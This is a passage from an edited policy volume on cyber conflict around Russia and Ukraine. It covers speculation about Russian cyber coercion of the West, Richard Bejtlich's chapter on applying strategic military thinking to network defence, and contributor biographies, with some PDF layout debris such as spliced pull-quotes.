with at least the United States and China, the capability to conduct such attacks, but lacked the intent. Russia had disagreements with the West but was not engaged in any real conflict. Further, to some extent, Russia needed healthy Western economies to itself thrive. That situation has changed. Today, Putin may well see himself in a conflict with the West, perhaps even a shooting war, and feel the very survival of his regime could be at stake. In 2013, sanctions including asset freezes and export prohibitions pushed Russia to the brink of a recession, and the economy grew by only 1.3%.12 By the end of 2015, the World Bank predicts that ongoing sanctions coupled with the decrease in oil prices will shrink the Russian economy by 3.8%.13 Putin could calculate that Russia has few remaining stakes in the global economy and financial system. Without international economic entanglement, it is far easier for Putin to use Russia s impressive cyber capabilities to try to directly coerce (rather than threaten) the West. By inflicting economic turmoil, he could turn Russia s lack of a stake in the global financial system from a liability into an asset. With nothing to lose and everything to gain, Putin might calculate that unleashing his just-deniable-enough little green bytes against Western economies could be a win-win situation for Russia. Russia is already pushing the idea that they may need to escalate to de-escalate a brewing conflict with the West. In an extensive article in Vox, Max Fisher lays out the evidence that the world is ever closer to conflict, even a world war, and especially that Putin has enshrined, in Russia s official nuclear doctrine, a dangerous idea no Soviet leader ever adopted: that a nuclear war could be winnable How far do EU-US sanctions on Russia go? BBC, September 15, 2014, http://www.bbc.com/news/world-europe-28400218 Andrey Ostroukh. Russia s Economic Outlook Worse Than Thought, World Bank Says, The Wall Street Journal, April 1, 2015, http://www.wsj.com/articles/russias-economic-outlook-worse-than-thought-world-bank-says-1427883522. Max Fisher. How World War III Became Possible, Vox, June 29, 2015, http://www.vox.com/2015/6/29/8845913/russia-war. In that light, cyber weapons may offer an even more attractive opportunity given that cyber effects can be temporary and reversible. Russian Deputy Prime Minister Dmitry Rogozin has already declared that Russian tanks t need visas to cross international borders.15 If Russia is willing to make nuclear threats and roll T-72s across borders, then how much more likely are attacks using faster, more deniable, electrons? One obvious target would be Western financial firms that currently enforce the sanctions against Russia. Many analysts believe that Iran chose precisely this form of retaliation in 2012, in response to Stuxnet.16 Other obvious targets could be the oil, gas, or electricity sectors, in order to raise the price of oil. During our research for this chapter, several security analysts stated that Russia may be preparing for this contingency with its Havex and BlackEnergy cyber campaigns.17 In both cases, Russian government hackers apparently targeted Western energy companies, not for espionage, but in order to prepare for a potential follow-on disruptive attack. It appears Russia has proved that it has the required capabilities already in place to disrupt Western energy systems, now it is just a matter of having the intent. Or Putin could focus his cyber attack not against sectors, but against specific Western allies; those he felt would be most likely to submit to coercive pressure. His whispered promise might be something along the lines of Drop your support for sanctions and all these cyber failures you re experiencing can just go away. Countries which might not have been fully committed to the sanctions in the first place might not need much convincing. Conclusion Cyberspace and cyber attacks offer many ways, especially for a capable nationstate, to target an adversary. In the current conflict, the most likely near-term options for Russia are perhaps local instability, intimidation and coercion. Of course, the scenarios discussed in this chapter are not mutually exclusive; Putin could jump between them or even employ them all simultaneously. Fortunately to help analyse Russia s cyber current actions, it may be enough to analyse his actions in the physical world: Russian hostility in Europe is likely to be matched with Russian hostility online. If this process starts to get out of control, then Western leaders have to be at their highest level of concern. If Putin believes he is approaching a use-it-or-lose-it situation for his autocratic regime and its stolen billions, he may just decide to take the internet down with him. Russian Official: Tanks Don t Need Visas , Defense One/Agence France-Presse, May 25, 2015, http://www.defensenews.com/ story/defense/international/europe/2015/05/25/russian-official-tanks-need-visas/27924351/. Siobhan Gorman and Julian Barnes. Iran Blamed for Cyberattacks, The Wall Street Journal, October 12, 2012, http://www.wsj. com/articles/SB10000872396390444657804578052931555576700. Blake Sobczak and Peter Behr. Secret meetings tackle back-to-back energy-sector cyberthreats, EnergyWire, October 31, 2014, http://www.eenews.net/energywire/stories/1060008193. Chapter 18 Strategic Defence in Cyberspace: Beyond Tools and Tactics Richard Bejtlich The Brookings Institution Introduction The digitisation of information, which began during the Second World War, has significantly deepened the relationship between human beings (from the individual to the nation-state) and unstructured data, structured information (such as a databases), and intelligence (information of political or military value). Every part of society has benefited from information technology; however, as we have increasingly become data-reliant, our adversaries have sought to leverage information against us. Attackers and defenders now battle for access to, and control of, information in the political, economic, military, and social spheres. In military parlance, data has become a virtual high ground from which the better-informed can influence an adversary. The Ukrainian Government currently finds itself at a tactical disadvantage vis- -vis Russia, both on the traditional field of battle as well as in cyberspace. However, cyber security, especially at the national level, is a strategic game, and Kyiv can make smart investments that will pay off over the long run. In Ukraine, as in every other nationstate, practitioners, academics, policy-makers, and the public are individually and collectively vexed by the question of how to defend data, information, and intelligence. Part of the problem is that adversaries do not have one or even several attack strategies at their disposal: they can steal, destroy, deny access to, or even alter information well as the systems that store, process, and display it to its ostensible owners. Digitised information is a human product which resides in mechanical devices built by engineers and programmers, and so decision-makers naturally turn to the technical community for answers to these challenges. Technical proposals take many forms. Several frequently appear in policy-making circles: we could scrap the internet entirely and replace it with a more secure alternative;1 we might build software that is not hackable, possibly through leap ahead technologies that make defence easier than offense (which is today manifestly not the case);2 or we can outsource our security to third-party vendors.3 These are all technical ideas, but they are generally not feasible for a variety of reasons. More fundamentally, it is dangerous to rely solely on technology to mitigate core security problems. The Limitations of Technology-driven Approaches Technology plays an important role in defending data. Thoughtfully designed networks, higher quality software, and agile start-ups can frustrate opportunistic intruders seeking easy prey. Unfortunately, well-resourced, professional attackers sometimes have long-standing missions to compromise specific high-value targets, whether for information theft or data manipulation. They will not give up until their mission requirements change or until they succeed in their assignment. Digital defenders may only get a glimpse of the intruder, and often this comes far too late in the game. Whereas the victim s perspective is usually narrow and incomplete, professional attackers are persistent and know exactly what they are targeting. According to the Mandiant 2015 M-Trends report, the median number of days in 2014 that a successful threat group was present on a victim s network before detection, was 205. In one case, an adversary had maintained unauthorised access for over 8 years.4 Even after discovery, organisations can spend months trying to remove the intruder. In February 2015, the Wall Street Journal reported that the US State Department continued to be plagued A technology-centric world- by foreign hackers fully three months confirmed reports of an view obsesses about a static, after the agency intrusion.5 one-time exchange between This relationship between security attacker and defender. and time is central to protecting digital Thom Shanker. Cyberwar Chief Calls for Secure Computer Network, New York Times, 23 September 2010, http://www.nytimes.com/2010/09/24/us/24cyber.html; John Markoff. Do We Need a New Internet? New York Times, 14 February 2009, http://www.nytimes.com/2009/02/15/weekinreview/15markoff.html. Jim Garamone. DARPA Director Discusses Cyber Security Challenges, DoD News, 1 October 2014, http://www.defense.gov/ news/newsarticle.aspx?id=123307. Over 400 vendors demonstrated their products and services at the RSA Conference in San Francisco, California in April 2015. RSA Conference 2015 vendors, http://www.rsaconference.com/events/us15/expo-sponsors. The median number for 2013 was 229 days. FireEye, M-Trends 2015: A View from the Front Lines (Milpitas, CA: FireEye Corporation 2015), https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf. Danny Yadron. Three Months Later, State Department Hasn t Rooted Out Hackers, Wall Street Journal, 19 February 2015, http://www.wsj.com/articles/three-months-later-state-department-hasnt-rooted-out-hackers-1424391453. resources. An analysis of time intervals is key to understanding the interaction between attackers and defenders, but in general the security community does not sufficiently understand or appreciate the nature and consequences of this relationship. A technology-centric worldview obsesses about a static, one-time exchange between attacker and defender. This is not an accurate description of the real world, which is populated, not with mindless code, but with rational and irrational human beings who are both intelligent and adaptive adversaries and who observe their targets, allocate resources, and make dynamic decisions in order to accomplish their goals.6 Digital defenders ignore these facts at their peril. The interactive and time-dependent nature of network attack and defence leads to the promotion of suboptimal approaches to security. The emphasis on cyber hygiene is illustrative.7 To defeat intruders, this method promotes knowing one s network, removing unauthorised systems, patching vulnerabilities, and improving configurations. All of these are certainly both requisite and commendable defensive steps. However, they are insufficient when confronting an attacker who has the time and resources to adapt to and overcome the target s defences. Washing cyber hands is helpful when minimising the spread of mindless germs, but it is less effective when those germs are as smart as, or better-resourced and motivated than, the hand-washer. Strategic Thought in Cyber Defence To better address the dynamic challenge of continuous interaction between adaptive, intelligent adversaries, this chapter advocates the application of strategic military concepts to conflict in cyberspace. Armed conflict has long been characterised as a struggle between persistent adversaries over time. However, the advent of mass armies, modern weapons, and nation-state warfare in the late 18th and early 19th centuries took this concept to a higher level. During the 20th century, military strategists therefore had to think beyond the traditional dichotomy of strategy versus tactics. Over time, they codified multiple levels of warfare Beginning in the 1980s, U.S. Army doctrine described three levels of war: strategic, operational, and tactical.8 These built on previous writings and lessons learned, from Napoleonic battles to Soviet military planning. National goals and policy sitting above the strategic level of war were incorporated into doctrine, although this can be confusing given that the word strategic often appeared in both the model name and one of its primary elements. John R. Boyd. The Essence of Winning and Losing, unpublished PowerPoint presentation, 1985, http://www.danford.net/ boyd/essence.htm. Jonathan Trull. Practice Makes Perfect: Making Cyber Hygiene Part of Your Security Program, CSO Magazine, 3 March 2014, http://www.csoonline.com/article/2891689/security0/practice-makes-perfect-making-cyber-hygiene-part-of-your-securityprogram.html. United States Department of the Army, Field Manual 100-5: Operations (Washington, DC: US Army 1982), http://cgsc.contentdm.oclc.org/cdm/compoundobject/collection/p4013coll9/id/48/rec/10. Policies and Goals Strategies Operations (including Campaigns) Tactics Tools Figure 1-1 Strategic Thought, Adapted for Digital Conflict In this chapter, the author argues that decision-makers need to better understand the role of technology in strategic thought, and so it adds a new level below the tactical layer: tools . Certainly in physical warfare one uses tools to inflict kinetic damage. In the digital world, the model explicitly introduces tools in order to show practitioners Too many digital security professionals believe where they fit in strategic thinking. Too many digital security professionals believe tools are tools are the sole focus the sole focus of defensive action. By placing of defensive action. tools at the bottom of the model, they appear, in the author s opinion, in their proper place. Furthermore, in this model, the term campaign is included at the operational level. Campaigns and operations are sometimes interchanged, so both appear to reduce confusion. These five levels are depicted in Figure 1 1. Policies and goals are broad statements by organisational leadership that describe the desired purpose of the strategic programme. Strategies are concepts for employing organisational resources to accomplish the stated policies and goals. Operations (which in this schema are organised into campaigns) are sets of activities designed to implement strategies that are pursued over days, weeks, months, or even years. Tactics are actions taken within individual encounters with an adversary, and serve as the atomic elements of a campaign. Tools are the digital equipment with which an actor implements tactics. All of these elements must be connected in order to achieve successful outcomes. Before explaining how these five levels can improve digital defence, it is important to recognise that I am not advocating the militarisation of cyberspace which is a valid concern of many analysts. For example, in 2013, Jason Healey wrote in Foreign Affairs that the military had prioritised one national security goal more spying and attack capabilities above all others .9 A Forbes journalist defined the problem as giv[ing] a military character to it, equip[ping] [it] with military forces and defences or adapt[ing] [it] for military use ,10 This author, while generally disagreeing with these premises, does not equate strategic thought with militarisation. The purpose of this chapter on strategic thought is to familiarise defenders with another strategy to protect information, one suited to the timescales and interactive nature of modern computer intrusions. Traditional Security within the Strategic Model Squaring traditional security concepts with the strategic model contributes to a rich discussion of digital defence. Typically, network defenders concentrate on tools and tactics, which are in turn dominated by the notions of security software, software security, and securing software. Security software consists of programs written by vendors, open source developers, and individual security teams that are designed to detect, frustrate, and remove adversaries. Software security refers to the process of writing computer programs that are free from coding, process, and logic flaws, optimally using a process such as the Building Security In Maturity Model (BSIMM).11 Securing software is a process to enable the cyber hygiene model, whereby defenders take various tactical steps to reduce the likelihood of compromise. Beyond the security team, one finds multiple layers of management, including a chief security or information security officer (CSO or CISO), one or more chief technology or information officers (CTO or CIO), other members of the so-called C-suite including the chief financial or operating officers (CFO, COO), and ultimately the chief executive officer (CEO) and board of directors. At the nation-state level, some governments have appointed cyber security coordinators reporting to the head of government. Recent examples include the United States, the United Kingdom, Germany, Russia, Japan, and France.12 In China, President Xi Jinping personally leads the country s top information security group.13 One would think Jason Healey. How Emperor Alexander Militarized American Cyberspace, Foreign Policy, 6 November 2013, http://foreignpolicy.com/2013/11/06/how-emperor-alexander-militarized-american-cyberspace/. Sean Lawson. Is the United States Militarizing Cyberspace? Forbes, 2 November 2012, http://www.forbes.com/sites/seanlawson/2012/11/02/is-the-united-states-militarizing-cyberspace/. BSIMM, https://www.bsimm.com/. French Ministry of Foreign Affairs and International Development, France and cyber security, http://www.diplomatie.gouv. fr/en/french-foreign-policy/defence-security/cyber-security/. Shannon Tiezzi. Xi Jinping Leads China s New Internet Security Group, The Diplomat, 28 February 2014, http://thediplomat. com/2014/02/xi-jinping-leads-chinas-new-internet-security-group/. that, with so much focus on cyber and information security at the upper levels of management, defence strategies would be clear. However, despite numerous recent high-profile breaches, security leaders continue to fret that their organisation s business leadership didn t provide them the support and space they need to secure their organisations properly Improving the dynamics of strategic thought according to the proven military model can help organisations and nation states move beyond a tools and tactics focused approach. The latter is by far the prevailing paradigm. For example, one 2014 RSA Conference presentation encouraged attendees to exploit pet projects and capitalise on timely events by using the near-death experiences of others to justify security spend .15 One 2015 article written for security managers stressed the need for more capable software, stating that a CISO must successfully address many challenging elements when procuring a new security technology solution In 2014, Symantec s Senior Vice President for Information Security said that only 45% of cyber attacks are prevented by anti-virus software, calling it a dead technology.17 Writing secure software, while a laudable goal, continues to be difficult, even for leading companies like Microsoft. Bill Gates accelerated the programme to find a secure development lifecycle in 2002, but the vendor continues to release patches for remote code execution vulnerabilities in core Microsoft platforms on a monthly basis. In brief, we need more than tools and tactics to counter digital adversaries. When trying to learn how to communicate with higher level managers and CISOs, agency leads, and policy-makers are bombarded with advice like the following: One of the most strategic skills a security chief can bring is the proficiency in translating security speak into the language of business risks and financial ROI [return on investment] terms... At the board level, the ability to show dollar return on security initiatives is critical to ensure continued executive support on security investments The problem with the focus on tools and tactics, and related topics of risk and ROI is that higher-level management and boards do not feel connected to the true defensive posture of their organisation. Because leaders have not been valued parts of the security program development process, they think security is mainly an issue to be solved by technical professionals. Their experience with the IT and security George V. Hulme. The CSO s failure to lead, CSO Magazine, 9 June 2014, http://www.csoonline.com/article/2360984/security-leadership/the-cso-s-failure-to-lead.html. John B. Dickson. Getting Your Security Budget Approved without FUD, RSA Conference 2014, http://www.rsaconference. com/writable/presentations/file_upload/ciso-w04a-getting-your-security-budget-approved-without-fud.pdf. Craig Shumard. CISOs Face Tough Challenges When Procuring Security Technologies, Tenable Network Security, 5 March 2015, http://www.tenable.com/blog/cisos-face-tough-challenges-when-procuring-security-technologies. Danny Yadron. Symantec Develops New Attack on Cyberhacking, Wall Street Journal, 4 May 2014, http://www.wsj.com/ articles/SB10001424052702303417104579542140235850578. Danelle Au. Getting the CISO a Seat, Security Week, 16 July 2012, http://www.securityweek.com/getting-ciso-seat. worlds has led them to approach security as an issue of approving budgets to purchase ever-more-costly security software. The Christian Science Monitor reported the following in February 2015: In a survey commissioned by defence contractor Raytheon of 1,006 chief information officers, chief information security officers, and other technology executives, 78 percent said their boards had not been briefed even once on their organisation s cybersecurity strategy over the past 12 months ... The findings are similar to those reported by PricewaterhouseCoopers in its Global State of Information Security Survey last year in which fewer that 42 percent of respondents said their board actively participates in overall security strategy In light of these challenges, this chapter advocates making boards and higher-level managers integral aspects of the security process, by way of strategic thought. This chapter advocates making boards and higher-level managers integral aspects of the security process. Cyber Security without Strategy The following scenario will help the reader understand how the application of strategic cyber security principles can better protect digital assets. A private organisation suffers targeted attacks by both criminal and nation-state threat groups, which not only compromise the organisation but also steal intellectual property including trade secrets, sensitive commercial data, and other digital resources. The traditional tools-and-tactics security model is characterised by suboptimal communication and poor alignment between the management, board, and security team. The latter, led by the CISO, is determined to counter the adversary. Their first instinct will be to take some concrete action: to hire new personnel, to develop a new capability, to adopt a new tactic, or to purchase a new software tool. Next, they will attempt to translate their plan into business speak , and the CISO will develop an argument based on an ROI estimate that includes the cost of the initiative, the amount of money it should save (if all goes well), and a mathematical calculation of the overall risk to the enterprise. If asked by the CEO or board to explain his or her rationale, the CISO will reply that a tools-and-tactics approach will save the enterprise money and reduce its level of risk. Finally, the management will give the proposal a green light, or send the CISO back to the drawing board. Jaikumar Vijayan. After high-profile hacks, many companies still nonchalant about cybersecurity, Christian Science Monitor, 19 February 2015, http://www.csmonitor.com/World/Passcode/2015/0219/After-high-profile-hacks-many-companies-still-nonchalant-about-cybersecurity. This budget request cycle is repeated ad nauseam, until management gets wise to the fact that network security ROI seems to have an Alice-in-Wonderland quality about it: the more money they spend, the more money they are supposed to save. Eventually, management realises that security is a lot more about loss prevention than revenue generation, and they begin to feel disconnected (and disaffected) from the defence of their digital resources. Further, they recognise that their organisation is one of many whose boards are not briefed on real strategy, and who have in fact never participated in serious strategy formulation. Strategic Cyber Security A strategic cyber security programme, by contrast, does not begin with tools and tactics, but with an articulation of one or more programme goals. First, the strategy-minded CISO gets executive buy-in to those goals. To that end, the CISO must incorporate all levels of strategic thought, starting with the board and CEO everyone must feel ownership and participation. The smart CISO recognises that security is a journey, not a destination, and that relationship building requires an ability to translate between technical and non-technical vocabularies. The CISO ensures that the programme goals accurately govern the objectives of the enterprise s digital security programme. In our scenario, the CISO, board, and CEO all agree that, with respect to intellectual property, trade secrets, and sensitive data, the new policy goal is to minimise loss due to intrusion. This statement implies that everyone understands that stopping all adversaries and all attacks is simply not possible, especially when dealing with nation-state actors and some advanced criminal groups. The primary objective of this exercise is to achieve consensus on a simply stated, non-technical programme goal. No in-depth technical discussion is needed to achieve consensus, although the CISO must ensure that all goals, policies, and The primary objective is strategies are technically feasible. With to achieve consensus on a a mandate in hand, the CISO can confisimply stated, non-technical dently work with his or her security team to plan the necessary operations and camprogramme goal. paigns and, if necessary, acquire new tools and tactics to facilitate them. Together, they decide to implement a network security monitoring (NSM) operation, defined as the collection and escalation of indications and warnings to detect and respond to intruders.20 The security team begins the long-term, strategic process of hunting for hostile cyber attack campaigns, encompassing both known and unknown intrusion patterns. Richard Bejtlich. The Practice of Network Security Monitoring (San Francisco, CA: No Starch 2013). The CISO, board, and CEO all agree that a second programme goal is the rapid detection, response, and containment of cyber threats. This goal helps to ensure that when intruders breach the perimeter defences, the game is far from over. Defenders can still win, so long as they contain the threat before the attacker can accomplish his or her ultimate mission. Therefore, the security team will develop strategies to identify compromises quickly, determine their nature, give them some level of attribution, and above all develop a plan to stop the attacker from accomplishing his or her mission. At the tactical level of individual engagements with the adversary the equivalent of battles in war the security team will have myriad decisions to make, including whether to dislodge the intruder immediately or whether to watch the intruder for a time in order to collect valuable intelligence. Some tactics govern how specific tools or techniques can be used, such as when Star Trek personnel switch their hand phasers between stun and kill . As always, the adversary gets a say in what happens, but from the enterprise s point of view, programme goals, policies, and guidelines should be written to govern this entire process. The Relevance of Campaigns Central to the concept, and success, of a strategic security program is the campaign, which functions at the operational level. In some sense, the maturity of a security programme can be derived from the attention shown by the CISO and his or her security team to campaign development, and the understanding of campaign progress and analysis by top management. Consider the following quote from a February 2015 Reuters report on defence contractor Lockheed Martin: [Chief Executive Officer Marillyn] Hewson told the company s annual media day that Lockheed had faced 50 coordinated, sophisticated campaign attacks by hackers in 2014 alone, and she expected those threats to continue growing When Ms. Hewson spoke in terms of campaigns, she showed that her security team thinks and works at an advanced level. It is likely that Lockheed also aligns campaigns with specific threat actors and motives. Speaking about specific campaigns and ranking them in terms of sophistication and impact permits a vastly more meaningful discussion with other executives, the board, and other stakeholders. The CEO should be able to speak in detail about the threat actors behind the campaigns, including their means and motives, as well as illustrative examples of each campaign and how the security team detected and responded to them. The term campaign also matches well with non-technology business operations such as marketing campaigns and sales campaigns. Andrea Shalal. Lockheed sees double-digit growth in cyber business, Reuters, 18 February 2015, http://www.reuters.com/ article/2015/02/19/us-lockheed-cybersecurity-idUSKBN0LN03K20150219. Contrast this approach with a recent briefing by Japan s National Institute of Information and Communications Technology, which appeared in the Japan Times: The number of computer attacks on government and other organisations detected in Japan doubled in 2014 from the previous year to a record 25.66 billion, a government agency said Tuesday Discussing individual attacks has limited value, as discrete incidents include everything from a suspicious TCP packet, to an odd computer port, dubious SQL query, or phishy email. On the other hand, how can anyone devise a credible programme goal to counter over 25 billion attacks? The sweet spot lies in the middle, in grouping the primary threats and threat actors into coherent and logical campaigns. This is the best way for the enterprise or a nation state to counter an interactive and adaptive adversary. Strategic Cyber Defence in Ukraine The government of Ukraine, which has tense relations with Russia and is embroiled in an ongoing war, is likely the target for many ongoing cyber attack campaigns. This author advises that the only way to counter an offensive campaign is with an The only way to counter equally determined defensive campaign. an offensive campaign is In April 2015, the security comwith an equally determined pany Looking Glass exposed Operation defensive campaign. Armageddon, which it described as a cyber espionage campaign (active since 2013) designed to provide a military advantage to Russia by targeting Ukrainian government, law enforcement, and military officials for information of intelligence value. The researchers found a direct correlation between digital attacks and the ongoing war, including an alarming blend of cyber espionage, physical warfare, and geopolitics.23 Recent reports by security companies Trend Micro and FireEye describe other Russian campaigns, assigned the monikers Operation Pawn Storm and APT28 , respectively.24 According to FireEye, APT28 appeared to target individuals affiliated with European security organisations, including the North Atlantic Treaty Organisation (NATO) and the Organisation for Secu22 Cyberattacks detected in Japan doubled to 25.7 billion in 2014, Japan Times, 17 February 2015, http://www.japantimes.co.jp/ news/2015/02/17/national/crime-legal/cyberattacks-detected-in-japan-doubled-to-25-7-billion-in-2014/. Looking Glass Security, Operation Armageddon: Cyber Espionage as a Strategic Component of Russian Modern Warfare (Bumpas, VA: Looking Glass Security Corporation 2015) https://lgscout.com/wp-content/uploads/2015/04/Operation_Armageddon_FINAL.pdf. Loucif Kharouni, et al, Operation Pawn Storm: Using Decoys to Evade Detection (Trend Micro Incorporated: Irving, TX 2015) http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf and APT28 https://www.fireeye.com/resources/pdfs/apt28.pdf. rity and Cooperation in Europe (OSCE) which the Russian Government has long cited as existential threats.25 Similarly, Russian non-government groups such as CyberBerkut have been active against NATO and Ukrainian targets.26 In March 2014, the group directed Distributed Denial of Service (DDoS) attacks against NATO s main website, the CCD COE website, and NATO s Parliamentary Assembly website.27 In October 2014, on the eve of parliamentary elections in Ukraine, the website of the country s Central Election Commission suffered DDoS attacks.28 The group has apparently also targeted US military contractors working in Ukraine, stealing and publishing documents about the movement of Western military equipment to Ukraine.29 Nation state security requirements are strategic in nature, and they do not frequently change. For what is seen to be a valid national security concern, states will devote enormous human and technological resources to achieve their objectives, and use a variety of methods and attack vectors. Neither does a state give up after one or even a hundred unsuccessful tactical engagements. Rather, it will adapt, and usually overcome defences eventually. The key factor that sets nation states apart from individuals and even hacker groups like Anonymous is persistence, and the ability to maintain persistence indefinitely. Actors such as Russia also qualify as highly advanced . Here is the author s working definition, published in 2009: Advanced means the adversary can operate in the full spectrum of computer intrusion. They can use the most pedestrian publicly available exploit against a well-known vulnerability, or they can elevate their game to research new vulnerabilities and develop custom exploits, depending on the target s posture Recognising that any nation-state in this case Russia has the capability to adapt and overcome is one reason why threat attribution is so important, at all levels of strategic thought.31 This means that any time the security team recognises a failed intrusion attempt as coming from an advanced persistent threat actor, they can be sure the foe will return with a new technique and perhaps even a new campaign. Ibid. Berkut is Ukrainian for special police force, although CyberBerkut is a pro-Russian group. Ukrainian CyberBerkut takes down NATO websites, RT, 16 March 2014, http://www.rt.com/news/nato-websites-ddosukraine-146/. Vitaly Shevchenko. Ukraine conflict: Hackers take sides in virtual war, BBC News, 20 December 2014, http://www.bbc.com/ news/world-europe-30453069. Jack Smith IV, Pro-Russian Hackers Expose U.S. Military Contractor Activity in Ukraine, Observer, 2 March 2015, http:// observer.com/2015/03/pro-russian-hackers-expose-u-s-military-contractor-activity-in-ukraine/. Richard Bejtlich. What APT Is , Information Security Magazine, July 2010, http://www.academia.edu/6842130/What_APT_Is. Richard Bejtlich. Five Reasons Attribution Matters, TaoSecurity Blog, 30 December 2014, http://taosecurity.blogspot. com/2014/12/five-reasons-attribution-matters.html. Conclusion The Ukrainian Government currently finds itself at a tactical disadvantage vis- -vis Russia, both on the traditional field of battle and in cyberspace. However, cyber security, especially at the national level, is a strategic game, and Kyiv can make smart investments that will pay off over the long run. This chapter has argued for the need to Cyber security, especially apply strategic thought to digital defence. at the national level, is a It began by advocating the utility of a milistrategic game. tary model in cyberspace, albeit without any desire for the militarisation of cyberspace. The author explained how the military mind set, based on conflict with dynamic, adaptive adversaries, is a more reliable strategy than the popular cyber hygiene model. It then described the five levels of strategic thought, which link goals with policy, strategy, campaigns and operations, tactics, and tools. The author applied each level of strategic thought to a hypothetical network defence scenario. By integrating strategic thought into digital defence, this chapter demonstrated an alternative to technology-centric approaches that are not sufficient to defeat the adversary. In a time of war, Ukraine is a natural target for many cyber threat actors and campaigns. The only way to counter them is to develop an equally determined defensive posture in cyber space. Authors Richard Bejtlich is FireEye s Chief Security Strategist; previously, he was Mandiant s Chief Security Officer. Richard is a nonresident senior fellow at the Brookings Institution, and an advisor to Threat Stack, Sqrrl, and Critical Stack. He is pursuing a Master/Doctor of Philosophy in War Studies at King s College London. He was Director of Incident Response for General Electric, where he built and led the 40-member GE Computer Incident Response Team (GE-CIRT). Richard served in the Air Force Computer Emergency Response Team (AFCERT), Air Force Information Warfare Center (AFIWC), and Air Intelligence Agency (AIA). He is a graduate of Harvard University and the United States Air Force Academy. His widely followed blog is at taosecurity.blogspot.com, and his fourth book is The Practice of Network Security Monitoring. Michelle Cantos is the Cybersecurity Program Coordinator for Columbia University s Saltzman Institute of War and Peace Studies. Michelle is a graduate of Columbia School of International and Public Affairs, where she studied international security policy with a focus on cyber defense. In the spring of 2015, she participated in The Atlantic Council s Cyber 9/12 Student Challenge, where her team competed against twenty teams and earned second place in the policy challenge. She has worked as a cybersecurity intern for the American Foreign Policy Council, and was a research assistant for Dr. Abraham Wagner. Kenneth Geers (PhD, CISSP) is a NATO CCD COE Ambassador, a Non-Resident Senior Fellow at the Atlantic Council, and a Visiting Professor at the Taras Shevchenko National University of Kyiv in Ukraine. Dr. Geers spent twenty years in the U.S. Government (U.S. Army, NSA, NCIS, NATO), and was a Senior Global Threat Analyst at FireEye. He is the author of Strategic Cyber Security, Editor of Cyber War in Perspective: Russian Aggression against Ukraine, Editor of The Virtual Battlefield: Perspectives on Cyber Warfare, Technical Expert for the Tallinn Manual on the International Law Applicable to Cyber Warfare, and author of more than twenty articles and chapters on international conflict in cyberspace. Keir Giles is an Associate Fellow of Chatham House s International Security Department and Russia and Eurasia Programme. He also works with the Conflict Studies Research Centre (CSRC), a group of subject matter experts in Eurasian security. After acquiring a wide range of experience in other fields in Europe and the former Soviet Union, Keir originally joined CSRC at the UK Defence Academy (UKDA) as a specialist in human factors influencing Russian military, defence and security issues. Keir now oversees the research and publications programme of the new, independent CSRC, while continuing to write and publish there and for Chatham House on his own specialist area of Russian approaches to conventional, cyber, and information warfare. Jason Healey is a Senior Research Scholar at Columbia University s School for International and Public Affairs, specializing in cyber conflict, competition, and cooperation. He was the founding director of the Cyber Statecraft Initiative at the Atlantic Council, where he remains a Senior Fellow. Jason is the author of dozens of published articles and editor of the first history of conflict in cyberspace, A Fierce Domain: Cyber Conflict, 1986 to 2012. During his time in the White House, he was a director for cyber policy and helped advise the President and coordinate US efforts to secure US cyberspace and critical infrastructure. He has also been an executive director at Goldman Sachs in Hong Kong and New York, vice chairman of the FS-ISAC, and a US Air Force intelligence officer at the Pentagon and National Security Agency. Jason was a founding member (plankowner) of the first cyber command in the world, the Joint Task Force for Computer Network Defense, in 1998. He is president of the Cyber Conflict Studies Association. Margarita Levin Jaitner researches Information Warfare in cyberspace within the Russia Project at the Swedish Defence University. Currently, she focuses on the Russian concept of information superiority . Margarita holds an MA degree in Societal Risk Management from Karlstad University and a BA in Political Science from the Swedish National Defence College. Nadiya Kostyuk is a doctoral student in a joint program of Political Science and Public Policy at the University of Michigan. Prior to her studies, Nadiya worked as a Program Coordinator for the EastWest Institute s Global Cooperation in Cyberspace Initiative, where she now serves as a Fellow. Nadiya s research interest is the relationship between cybercrime and international security, interdependence, cooperation, and state sovereignty. Currently, Nadiya is working on a project to map the relationship between kinetic and cyber operations in Eastern Ukraine. Nikolay Koval is CEO of CyS Centrum LLC, in Kyiv, Ukraine. A graduate of the Kyiv Polytechnic Institute, Nikolay served at the State Service of Special Communication and Information Protection of Ukraine. He was responsible for the organization and coordination of Ukraine s computer emergency response team (CERT-UA) activities, including incident handling, technical analysis, and international engagement. His new company specializes in cyber threat prevention. Elina Lange-Ionatamishvili is a Senior Expert at the NATO Strategic Communications Centre of Excellence (NATO StratCom COE) in Riga, Latvia, where she has analyzed Russia s ongoing information campaign against Ukraine. Previously, Elina was head of the Public Diplomacy Division at the Ministry of Defence of Latvia (2007-2009), worked on public diplomacy projects under the NATO Riga Summit Task Force (2006), managed the NATO Professional Development Programme in Georgia, and helped to found the international NGO Baltic to Black Sea Alliance, which has addressed media freedom and professionalism in EU Eastern Partnership countries. Elina has been awarded by the Latvian Minister of Defence, and received the Order of Honour from the President of Georgia. James Andrew Lewis is a Senior Fellow at the Center for Strategic and International Studies, directs the CSIS Technology Program, and previously worked at the Departments of State and Commerce as a Foreign Service Officer and member of the Senior Executive Service. Lewis helped to develop the initial policies to secure and commercialize the Internet, led the U.S. delegation to the Wassenaar Arrangement Experts Group, and was Rapporteur for the UN Group of Government Experts on Information Security during their successful 2010, 2013, and 2015 sessions. Jim has authored numerous CSIS publications, and was Director for the Commission on Cybersecurity for the 44th Presidency, the best-selling report whose contributions to U.S. policy have been publicly recognized by the President. His current research examines sovereignty on the Internet, cybersecurity norms, warfare, and technological innovation. Lewis received his Ph.D. from the University of Chicago. Martin Libicki (Ph.D., U.C. Berkeley 1978) has been a distinguished visiting professor at the U.S. Naval Academy and a senior management scientist at RAND since 1998, focusing on the impacts of information technology on domestic and national security. He wrote two commercially published books, Conquest in Cyberspace: National Security and Information Warfare, and Information Technology Standards: Quest for the Common Byte, as well as numerous RAND monographs, notably Brandishing Cyberattack Capabilities, Crisis and Escalation in Cyberspace, Global Demographic Change and its Implications for Military Power, and Cyber-Deterrence and Cyber-War. He co-authored How Insurgencies End and How Terrorist Groups End. Martin is currently writing a textbook (due out in Spring 2016) from which a Cyberwar class can be taught. Jarno Limn ll is a Professor of Cybersecurity at Aalto University in Finland, and the Vice President of Cybersecurity at Insta Group plc. Professor Limn ll has been working with security issues for over 20 years. He holds a Doctor of Military Science degree in Strategy from the National Defense University in Finland; a Master of Social Science degree from Helsinki University; and an Officer s degree from the National Defense University. 